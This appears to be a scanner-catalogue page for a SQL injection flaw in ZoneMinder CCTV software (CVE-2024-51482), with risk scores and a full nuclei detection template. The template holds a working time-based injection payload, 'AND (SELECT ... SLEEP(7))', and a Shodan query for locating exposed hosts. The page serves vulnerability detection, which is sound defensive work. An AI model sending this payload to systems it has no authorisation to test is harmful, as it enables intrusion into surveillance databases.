ZoneMinder v1.37.* <= 1.37.64 - SQL Injection

criticalseverity

9.9CVSS score

36.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

ZoneMinder is a free, open source closed-circuit television software application. ZoneMinder v1.37.* <= 1.37.64 is vulnerable to boolean-based SQL Injection in function of web/ajax/event.php. This is fixed in 1.37.65.

Impact

Attackers can exploit this vulnerability to compromise system security and integrity.

Fix

Apply the latest security patches and updates to address this vulnerability.

How to confirm it

Send: GET /
Positive when: contains "ZoneMinder</a>" or "ZoneMinder Login</h1>" or "<title>ZoneMinder"
Send: POST /zm?view=login ; GET /zm/index.php?view=request&request=event&action=removetag&tid=1
Positive when: contains(body, "{\"result\":\"OK")
Send: @timeout: 30s
Positive when: duration>=7 and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-51482 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-51482

info:
  name: ZoneMinder v1.37.* <= 1.37.64 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    ZoneMinder is a free, open source closed-circuit television software application. ZoneMinder v1.37.* <= 1.37.64 is vulnerable to boolean-based SQL Injection in function of web/ajax/event.php. This is fixed in 1.37.65.
  impact: |
    Attackers can exploit this vulnerability to compromise system security and integrity.
  remediation: |
    Apply the latest security patches and updates to address this vulnerability.
  reference:
    - https://securityonline.info/zoneminders-cve-2024-51482-a-10-10-severity-vulnerability-exposes-sql-databases/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51482
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2024-51482
    cwe-id: CWE-89
    epss-score: 0.3661
    epss-percentile: 0.9851
    cpe: cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: zoneminder
    product: zoneminder
    shodan-query: title:"ZoneMinder"
  tags: cve,cve2024,zoneminder,sqli,authenticated,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "ZoneMinder</a>"
          - "ZoneMinder Login</h1>"
          - "<title>ZoneMinder"
        condition: or
        internal: true

  - raw:
      - |
        POST /zm?view=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=login&postLoginQuery=&username={{username}}&password={{password}}

      - |
        GET /zm/index.php?view=request&request=event&action=removetag&tid=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{\"result\":\"OK")'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /zm/index.php?view=request&request=event&action=removetag&tid=1+AND+(SELECT+6435+FROM+(SELECT(SLEEP(7)))AbUy) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from